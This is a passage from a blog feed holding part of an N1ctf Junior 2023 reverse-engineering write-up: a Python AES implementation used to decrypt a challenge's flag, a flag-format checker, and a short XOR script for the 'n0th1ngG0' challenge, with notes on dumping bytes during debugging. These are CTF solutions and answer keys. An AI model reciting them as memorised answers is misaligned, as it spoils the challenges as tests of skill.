class="number">0x76</span>, <span class="number">0x5b</span>, <span class="number">0xa2</span>, <span class="number">0x49</span>, <span class="number">0x6d</span>, <span class="number">0x8b</span>, <span class="number">0xd1</span>, <span class="number">0x25</span>],</span><br><span class="line">        [<span class="number">0x72</span>, <span class="number">0xf8</span>, <span class="number">0xf6</span>, <span class="number">0x64</span>, <span class="number">0x86</span>, <span class="number">0x68</span>, <span class="number">0x98</span>, <span class="number">0x16</span>, <span class="number">0xd4</span>, <span class="number">0xa4</span>, <span class="number">0x5c</span>, <span class="number">0xcc</span>, <span class="number">0x5d</span>, <span class="number">0x65</span>, <span class="number">0xb6</span>, <span class="number">0x92</span>],</span><br><span class="line">        [<span class="number">0x6c</span>, <span class="number">0x70</span>, <span class="number">0x48</span>, <span class="number">0x50</span>, <span class="number">0xfd</span>, <span class="number">0xed</span>, <span class="number">0xb9</span>, <span class="number">0xda</span>, <span class="number">0x5e</span>, <span class="number">0x15</span>, <span class="number">0x46</span>, <span class="number">0x57</span>, <span class="number">0xa7</span>, <span class="number">0x8d</span>, <span class="number">0x9d</span>, <span class="number">0x84</span>],</span><br><span class="line">        [<span class="number">0x90</span>, <span class="number">0xd8</span>, <span class="number">0xab</span>, <span class="number">0x00</span>, <span class="number">0x8c</span>, <span class="number">0xbc</span>, <span class="number">0xd3</span>, <span class="number">0x0a</span>, <span class="number">0xf7</span>, <span class="number">0xe4</span>, <span class="number">0x58</span>, <span class="number">0x05</span>, <span class="number">0xb8</span>, <span class="number">0xb3</span>, <span class="number">0x45</span>, <span class="number">0x06</span>],</span><br><span class="line">        [<span class="number">0xd0</span>, <span class="number">0x2c</span>, <span class="number">0x1e</span>, <span class="number">0x8f</span>, <span class="number">0xca</span>, <span class="number">0x3f</span>, <span class="number">0x0f</span>, <span class="number">0x02</span>, <span class="number">0xc1</span>, <span class="number">0xaf</span>, <span class="number">0xbd</span>, <span class="number">0x03</span>, <span class="number">0x01</span>, <span class="number">0x13</span>, <span class="number">0x8a</span>, <span class="number">0x6b</span>],</span><br><span class="line">        [<span class="number">0x3a</span>, <span class="number">0x91</span>, <span class="number">0x11</span>, <span class="number">0x41</span>, <span class="number">0x4f</span>, <span class="number">0x67</span>, <span class="number">0xdc</span>, <span class="number">0xea</span>, <span class="number">0x97</span>, <span class="number">0xf2</span>, <span class="number">0xcf</span>, <span class="number">0xce</span>, <span class="number">0xf0</span>, <span class="number">0xb4</span>, <span class="number">0xe6</span>, <span class="number">0x73</span>],</span><br><span class="line">        [<span class="number">0x96</span>, <span class="number">0xac</span>, <span class="number">0x74</span>, <span class="number">0x22</span>, <span class="number">0xe7</span>, <span class="number">0xad</span>, <span class="number">0x35</span>, <span class="number">0x85</span>, <span class="number">0xe2</span>, <span class="number">0xf9</span>, <span class="number">0x37</span>, <span class="number">0xe8</span>, <span class="number">0x1c</span>, <span class="number">0x75</span>, <span class="number">0xdf</span>, <span class="number">0x6e</span>],</span><br><span class="line">        [<span class="number">0x47</span>, <span class="number">0xf1</span>, <span class="number">0x1a</span>, <span class="number">0x71</span>, <span class="number">0x1d</span>, <span class="number">0x29</span>, <span class="number">0xc5</span>, <span class="number">0x89</span>, <span class="number">0x6f</span>, <span class="number">0xb7</span>, <span class="number">0x62</span>, <span class="number">0x0e</span>, <span class="number">0xaa</span>, <span class="number">0x18</span>, <span class="number">0xbe</span>, <span class="number">0x1b</span>],</span><br><span class="line">        [<span class="number">0xfc</span>, <span class="number">0x56</span>, <span class="number">0x3e</span>, <span class="number">0x4b</span>, <span class="number">0xc6</span>, <span class="number">0xd2</span>, <span class="number">0x79</span>, <span class="number">0x20</span>, <span class="number">0x9a</span>, <span class="number">0xdb</span>, <span class="number">0xc0</span>, <span class="number">0xfe</span>, <span class="number">0x78</span>, <span class="number">0xcd</span>, <span class="number">0x5a</span>, <span class="number">0xf4</span>],</span><br><span class="line">        [<span class="number">0x1f</span>, <span class="number">0xdd</span>, <span class="number">0xa8</span>, <span class="number">0x33</span>, <span class="number">0x88</span>, <span class="number">0x07</span>, <span class="number">0xc7</span>, <span class="number">0x31</span>, <span class="number">0xb1</span>, <span class="number">0x12</span>, <span class="number">0x10</span>, <span class="number">0x59</span>, <span class="number">0x27</span>, <span class="number">0x80</span>, <span class="number">0xec</span>, <span class="number">0x5f</span>],</span><br><span class="line">        [<span class="number">0x60</span>, <span class="number">0x51</span>, <span class="number">0x7f</span>, <span class="number">0xa9</span>, <span class="number">0x19</span>, <span class="number">0xb5</span>, <span class="number">0x4a</span>, <span class="number">0x0d</span>, <span class="number">0x2d</span>, <span class="number">0xe5</span>, <span class="number">0x7a</span>, <span class="number">0x9f</span>, <span class="number">0x93</span>, <span class="number">0xc9</span>, <span class="number">0x9c</span>, <span class="number">0xef</span>],</span><br><span class="line">        [<span class="number">0xa0</span>, <span class="number">0xe0</span>, <span class="number">0x3b</span>, <span class="number">0x4d</span>, <span class="number">0xae</span>, <span class="number">0x2a</span>, <span class="number">0xf5</span>, <span class="number">0xb0</span>, <span class="number">0xc8</span>, <span class="number">0xeb</span>, <span class="number">0xbb</span>, <span class="number">0x3c</span>, <span class="number">0x83</span>, <span class="number">0x53</span>, <span class="number">0x99</span>, <span class="number">0x61</span>],</span><br><span class="line">        [<span class="number">0x17</span>, <span class="number">0x2b</span>, <span class="number">0x04</span>, <span class="number">0x7e</span>, <span class="number">0xba</span>, <span class="number">0x77</span>, <span class="number">0xd6</span>, <span class="number">0x26</span>, <span class="number">0xe1</span>, <span class="number">0x69</span>, <span class="number">0x14</span>, <span class="number">0x63</span>, <span class="number">0x55</span>, <span class="number">0x21</span>, <span class="number">0x0c</span>, <span class="number">0x7d</span>]]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sub_bytes</span>(<span class="params">input_matrix</span>):</span><br><span class="line">    output_matrix = [[<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>)] <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>)]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">            x = <span class="built_in">int</span>(<span class="built_in">bin</span>(input_matrix[i][j])[<span class="number">2</span>:].zfill(<span class="number">8</span>)[:<span class="number">4</span>], <span class="number">2</span>)</span><br><span class="line">            y = <span class="built_in">int</span>(<span class="built_in">bin</span>(input_matrix[i][j])[<span class="number">2</span>:].zfill(<span class="number">8</span>)[<span class="number">4</span>:], <span class="number">2</span>)</span><br><span class="line">            output_matrix[i][j] = re_s[x][y]</span><br><span class="line">    <span class="keyword">return</span> output_matrix</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">T</span>(<span class="params">vector, time</span>):</span><br><span class="line">    Rcon = [<span class="number">0x01</span>, <span class="number">0x02</span>, <span class="number">0x04</span>, <span class="number">0x08</span>, <span class="number">0x10</span>, <span class="number">0x20</span>, <span class="number">0x40</span>, <span class="number">0x80</span>, <span class="number">0x1b</span>, <span class="number">0x36</span>]</span><br><span class="line">    vec = [<span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">        vec[i] = vector[(i+<span class="number">1</span>) % <span class="number">4</span>]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">        x = <span class="built_in">int</span>(<span class="built_in">bin</span>(vec[j])[<span class="number">2</span>:].zfill(<span class="number">8</span>)[:<span class="number">4</span>], <span class="number">2</span>)</span><br><span class="line">        y = <span class="built_in">int</span>(<span class="built_in">bin</span>(vec[j])[<span class="number">2</span>:].zfill(<span class="number">8</span>)[<span class="number">4</span>:], <span class="number">2</span>)</span><br><span class="line">        vec[j] = s[x][y]</span><br><span class="line">    vec[<span class="number">0</span>] ^= Rcon[time-<span class="number">1</span>]</span><br><span class="line">    <span class="keyword">return</span> vec</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">key_extend</span>(<span class="params">init_key</span>):</span><br><span class="line">    w = [[<span class="number">0</span> <span class="keyword">for</span> m <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>)] <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">44</span>)]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">            w[i][j] = init_key[i*<span class="number">4</span> + j]</span><br><span class="line">    time = <span class="number">1</span></span><br><span class="line">    <span class="keyword">for</span> row <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>, <span class="number">44</span>):</span><br><span class="line">        <span class="keyword">if</span> row % <span class="number">4</span> != <span class="number">0</span>:</span><br><span class="line">            <span class="keyword">for</span> yuan <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">                w[row][yuan] = w[row-<span class="number">4</span>][yuan] ^ w[row-<span class="number">1</span>][yuan]</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            t_w = T(w[row-<span class="number">1</span>], time)</span><br><span class="line">            time += <span class="number">1</span></span><br><span class="line">            <span class="keyword">for</span> yuan <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">                w[row][yuan] = w[row-<span class="number">4</span>][yuan] ^ t_w[yuan]</span><br><span class="line">    <span class="keyword">return</span> w</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">row_move</span>(<span class="params">input_matrix</span>):</span><br><span class="line">    output_matrix = [[<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>)] <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>)]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">        output_matrix[<span class="number">0</span>][i] = input_matrix[<span class="number">0</span>][(i+<span class="number">3</span>) % <span class="number">4</span>]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">        output_matrix[<span class="number">1</span>][i] = input_matrix[<span class="number">1</span>][(i+<span class="number">2</span>) % <span class="number">4</span>]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">        output_matrix[<span class="number">2</span>][i] = input_matrix[<span class="number">2</span>][(i+<span class="number">1</span>) % <span class="number">4</span>]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">        output_matrix[<span class="number">3</span>][i] = input_matrix[<span class="number">3</span>][i]</span><br><span class="line">    <span class="keyword">return</span> output_matrix</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">GF_calculate</span>(<span class="params">num1, num2</span>):</span><br><span class="line">    <span class="built_in">sum</span> = <span class="number">0</span></span><br><span class="line">    num1 = <span class="built_in">bin</span>(num1)[<span class="number">2</span>:].zfill(<span class="number">8</span>)</span><br><span class="line">    num2 = <span class="built_in">bin</span>(num2)[<span class="number">2</span>:].zfill(<span class="number">8</span>)</span><br><span class="line">    table = [<span class="number">0b00000001</span>, <span class="number">0b00000010</span>, <span class="number">0b00000100</span>, <span class="number">0b00001000</span>, <span class="number">0b00010000</span>, <span class="number">0b00100000</span>, <span class="number">0b01000000</span>, <span class="number">0b10000000</span>,</span><br><span class="line">             <span class="number">0b11011</span>, <span class="number">0b110110</span>, <span class="number">0b1101100</span>, <span class="number">0b11011000</span>, <span class="number">0b10101101</span>, <span class="number">0b1000111</span>, <span class="number">0b10001110</span>]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">8</span>):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">8</span>):</span><br><span class="line">            <span class="keyword">if</span> <span class="built_in">int</span>(num1[i]) == <span class="number">1</span> <span class="keyword">and</span> <span class="built_in">int</span>(num2[j]) == <span class="number">1</span>:</span><br><span class="line">                index_value = (<span class="number">7</span>-i) + (<span class="number">7</span>-j)</span><br><span class="line">                <span class="built_in">sum</span> ^= table[index_value]</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">sum</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">col_mix</span>(<span class="params">input_matrix</span>):</span><br><span class="line">    col_m = [[<span class="number">2</span>, <span class="number">3</span>, <span class="number">1</span>, <span class="number">1</span>], [<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">1</span>], [<span class="number">1</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>], [<span class="number">3</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">2</span>]]</span><br><span class="line">    im = input_matrix</span><br><span class="line">    output_matrix = [[<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>)] <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>)]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">            output_matrix[i][j] = GF_calculate(col_m[i][<span class="number">0</span>], im[<span class="number">0</span>][j]) ^ GF_calculate(col_m[i][<span class="number">1</span>], im[<span class="number">1</span>][j]) ^\</span><br><span class="line">                GF_calculate(col_m[i][<span class="number">2</span>], im[<span class="number">2</span>][j]) ^ GF_calculate(</span><br><span class="line">                    col_m[i][<span class="number">3</span>], im[<span class="number">3</span>][j])</span><br><span class="line">    <span class="keyword">return</span> output_matrix</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">m_to_matrix</span>(<span class="params">m</span>):</span><br><span class="line">    m_matrix = [[<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>)] <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>)]</span><br><span class="line">    num = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">            m_matrix[i][j] = m[num]</span><br><span class="line">            num += <span class="number">1</span></span><br><span class="line">    <span class="keyword">return</span> m_matrix</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">matrix_to_m</span>(<span class="params">matrix</span>):</span><br><span class="line">    m = []</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">            m.append(matrix[i][j])</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(m)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">aes_encrypt</span>(<span class="params">key, m</span>):</span><br><span class="line">    w = key_extend(key)</span><br><span class="line">    m_matrix = m_to_matrix(m)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">            m_matrix[i][j] ^= w[j][i]</span><br><span class="line">    <span class="keyword">for</span> loop_time <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">10</span>):</span><br><span class="line">        m_matrix = sub_bytes(m_matrix)</span><br><span class="line">        m_matrix = row_move(m_matrix)</span><br><span class="line">        m_matrix = col_mix(m_matrix)</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">            <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">                m_matrix[i][j] ^= w[j+<span class="number">4</span>*loop_time][i]</span><br><span class="line">    m_matrix = sub_bytes(m_matrix)</span><br><span class="line">    m_matrix = row_move(m_matrix)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">            m_matrix[i][j] ^= w[j+<span class="number">4</span>*<span class="number">10</span>][i]</span><br><span class="line">    <span class="keyword">return</span> matrix_to_m(m_matrix)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rev_sub_bytes</span>(<span class="params">input_matrix</span>):</span><br><span class="line">    output_matrix = [[<span class="number">0</span> <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>)] <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>)]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">            x = <span class="built_in">int</span>(<span class="built_in">bin</span>(input_matrix[i][j])[<span class="number">2</span>:].zfill(<span class="number">8</span>)[:<span class="number">4</span>], <span class="number">2</span>)</span><br><span class="line">            y = <span class="built_in">int</span>(<span class="built_in">bin</span>(input_matrix[i][j])[<span class="number">2</span>:].zfill(<span class="number">8</span>)[<span class="number">4</span>:], <span class="number">2</span>)</span><br><span class="line">            output_matrix[i][j] = s[x][y]</span><br><span class="line">    <span class="keyword">return</span> output_matrix</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rev_col_mix</span>(<span class="params">input_matrix</span>):</span><br><span class="line">    <span class="keyword">return</span> col_mix(col_mix(col_mix(input_matrix)))</span><br><span class="line">    </span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rev_row_move</span>(<span class="params">input_matrix</span>):</span><br><span class="line">    <span class="keyword">return</span> row_move(row_move(row_move(input_matrix)))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">aes_decrypt</span>(<span class="params">key, m</span>):</span><br><span class="line">    w = key_extend(key)</span><br><span class="line">    m_matrix = m_to_matrix(m)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">4</span>):</span><br><span class="line">            m_matrix[i][j] ^= w[j+<span class="number">4</span>*<span class="number">10</span>][i]</span><br><span class="line">    m_matrix = rev_row_move(m_matrix)</span><br><span class="line">    m_matrix = rev_sub_bytes(m_matrix)</span><br><span class="line">    <span class="keyword">for</span> loop_time <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">9</span>, <span class="number">0</span>, -<span class="number">1</span>):</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">            <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">                m_matrix[i][j] ^= w[j+<span class="number">4</span>*loop_time][i]</span><br><span class="line">        m_matrix = rev_col_mix(m_matrix)</span><br><span class="line">        m_matrix = rev_row_move(m_matrix)</span><br><span class="line">        m_matrix = rev_sub_bytes(m_matrix)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">        <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">4</span>):</span><br><span class="line">            m_matrix[i][j] ^= w[j][i]</span><br><span class="line">    <span class="keyword">return</span> matrix_to_m(m_matrix)</span><br><span class="line">     </span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">check_format</span>(<span class="params">data</span>):</span><br><span class="line">    <span class="keyword">if</span> data.startswith(<span class="string">&#x27;secpunk&#123;&#x27;</span>):</span><br><span class="line">        <span class="keyword">if</span> data.endswith(<span class="string">&#x27;&#125;&#x27;</span>):</span><br><span class="line">            <span class="keyword">if</span> <span class="built_in">len</span>(data) == <span class="number">41</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;Your flag format is correct!!! Continue to check your flag......&quot;</span>)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;Sorry, Your flag doesn&#x27;t have 41 characters&quot;</span>)</span><br><span class="line">                exit(<span class="number">0</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;Sorry, Your flag doesn&#x27;t end with &#125;&quot;</span>)</span><br><span class="line">            exit(<span class="number">0</span>)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;Sorry, Your flag doesn&#x27;t begin with secpunk&#123;&quot;</span>)</span><br><span class="line">        exit(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    ret=[<span class="number">0</span>]*<span class="number">32</span></span><br><span class="line">    seed = <span class="number">0xdeadbeef</span></span><br><span class="line">    random.seed(seed)</span><br><span class="line">    key = [random.randint(<span class="number">97</span>, <span class="number">122</span>) <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">16</span>)]</span><br><span class="line">    cmp = [<span class="number">61</span>, <span class="number">182</span>, <span class="number">175</span>, <span class="number">175</span>, <span class="number">2</span>, <span class="number">168</span>, <span class="number">124</span>, <span class="number">177</span>, <span class="number">32</span>, <span class="number">240</span>, <span class="number">230</span>, <span class="number">220</span>, <span class="number">58</span>, <span class="number">123</span>, <span class="number">165</span>, <span class="number">238</span>, <span class="number">53</span>, <span class="number">192</span>, <span class="number">237</span>, <span class="number">21</span>, <span class="number">175</span>, <span class="number">91</span>, <span class="number">224</span>, <span class="number">150</span>, <span class="number">133</span>, <span class="number">153</span>, <span class="number">54</span>, <span class="number">203</span>, <span class="number">79</span>, <span class="number">33</span>, <span class="number">193</span>, <span class="number">172</span>]</span><br><span class="line">    ret[:<span class="number">16</span>] = <span class="built_in">list</span>(aes_decrypt(<span class="built_in">bytes</span>(key), cmp[:<span class="number">16</span>]))</span><br><span class="line">    ret[<span class="number">16</span>:] = <span class="built_in">list</span>(aes_decrypt(<span class="built_in">bytes</span>(key), cmp[<span class="number">16</span>:]))</span><br><span class="line">    <span class="keyword">for</span> m <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">31</span>,<span class="number">0</span>,-<span class="number">1</span>):</span><br><span class="line">        ret[m] ^= ret[m-<span class="number">1</span>]</span><br><span class="line">    <span class="keyword">for</span> m <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">32</span>, <span class="number">2</span>):</span><br><span class="line">        ret[m],ret[m+<span class="number">1</span>]=ret[m+<span class="number">1</span>],ret[m]</span><br><span class="line">    <span class="keyword">for</span> m <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">32</span>):</span><br><span class="line">        <span class="keyword">if</span> (m&amp;<span class="number">1</span>)!=<span class="number">0</span>:</span><br><span class="line">            ret[m]-=<span class="number">8</span></span><br><span class="line">            <span class="keyword">assert</span>(ret[m]&gt;=<span class="number">0</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            ret[m]-=<span class="number">18</span></span><br><span class="line">            <span class="keyword">assert</span>(ret[m]&gt;=<span class="number">0</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> m <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">31</span>,-<span class="number">1</span>,-<span class="number">1</span>):</span><br><span class="line">        ret[m] ^= ret[(m+<span class="number">1</span>)%<span class="number">32</span>]</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> ret:</span><br><span class="line">        <span class="built_in">print</span>(<span class="built_in">chr</span>(i),end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="n0th1ngG0"><a href="#n0th1ngG0" class="headerlink" title="n0th1ngG0"></a>n0th1ngG0</h3><p>赛中没看明白是哪个算法，赛后才知道是rc4。不过分析程序加密逻辑会发现就是个按字节异或，这里有个比较方便的办法，把程序最后用来比较的字节dump下来，再次运行程序，直接把加密后字节改到输入部分，跑一遍加密函数再看内存，就出了。也可以选择动调，把与之异或的key给dump下来，不过似乎那些字节不在连续的内存空间上，我直接下断点看寄存器把字节抄出来了。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">enc=[<span class="number">0x51</span>,<span class="number">0x23</span>,<span class="number">0x48</span>,<span class="number">0x73</span>,<span class="number">0x13</span>,<span class="number">0x50</span>,<span class="number">0x2C</span>,<span class="number">0x63</span>,<span class="number">0x61</span>,<span class="number">0xBA</span>,<span class="number">0x60</span>,<span class="number">0x2E</span>,<span class="number">0x54</span>,<span class="number">0x65</span>,<span class="number">0x29</span>,<span class="number">0x66</span>,<span class="number">0x81</span>,<span class="number">0xAB</span>,<span class="number">0x87</span>,<span class="number">0x34</span>,<span class="number">0x1A</span>,<span class="number">0xD0</span>,<span class="number">0x71</span>,<span class="number">0xAE</span>,<span class="number">0xA7</span>,<span class="number">0xE8</span>,<span class="number">0xAC</span>,<span class="number">0xCC</span>,<span class="number">0xEC</span>,<span class="number">0x75</span>,<span class="number">0x56</span>,<span class="number">0xFB</span>,<span class="number">0x79</span>,<span class="number">0x05</span>]</span><br><span class="line">xor=[<span class="number">0x22</span>,<span class="number">0x46</span>,<span class="number">0x2b</span>,<span class="number">0x03</span>,<span class="number">0x66</span>,<span class="number">0x3e</span>,<span class="number">0x47</span>,<span class="number">0x18</span>,<span class="number">0x2f</span>,<span class="number">0x8b</span>,<span class="number">0x3f</span>,<span class="number">0x64</span>,<span class="number">0x01</span>,<span class="number">0x0b</span>,<span class="number">0x18</span>,<span class="number">0x56</span>,<span class="number">0xf3</span>,<span class="number">0xf4</span>,<span class="number">0xb5</span>,<span class="number">0x04</span>,<span class="number">0x28</span>,<span class="number">0xe3</span>,<span class="number">0x2e</span>,<span class="number">0x9f</span>,<span class="number">0xd4</span>,<span class="number">0xb7</span>,<span class="number">0x98</span>,<span class="number">0xbb</span>,<span class="number">0xdf</span>,<span class="number">0x06</span>,<span class="number">0x66</span>,<span class="number">0x96</span>,<span class="number">0x4a</span>,<span class="number">0x78</span>]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(enc)):</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">chr</span>(enc[i]^xor[i]),end=<span class="string">&#x27;&#x27;</span>)</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">N1ctf Junior 2023 writeup by 没有头猪</summary>
    
    
    
    <category term="writeups" scheme="https://zqy.ink/categories/writeups/"/>
    
    
    <category term="CTF" scheme="https://zqy.ink/tags/CTF/"/>
    
    <category term="wp" scheme="https://zqy.ink/tags/wp/"/>
    
    <category term="N1ctf Junior" scheme="https://zqy.ink/tags/N1ctf-Junior/"/>
    
  </entry>
  
  <entry>
    <title>HGAME2023 week3 writeup</title>
    <link href="https://zqy.ink/2023/02/03/HGAME2023_wk3_wp/"/>
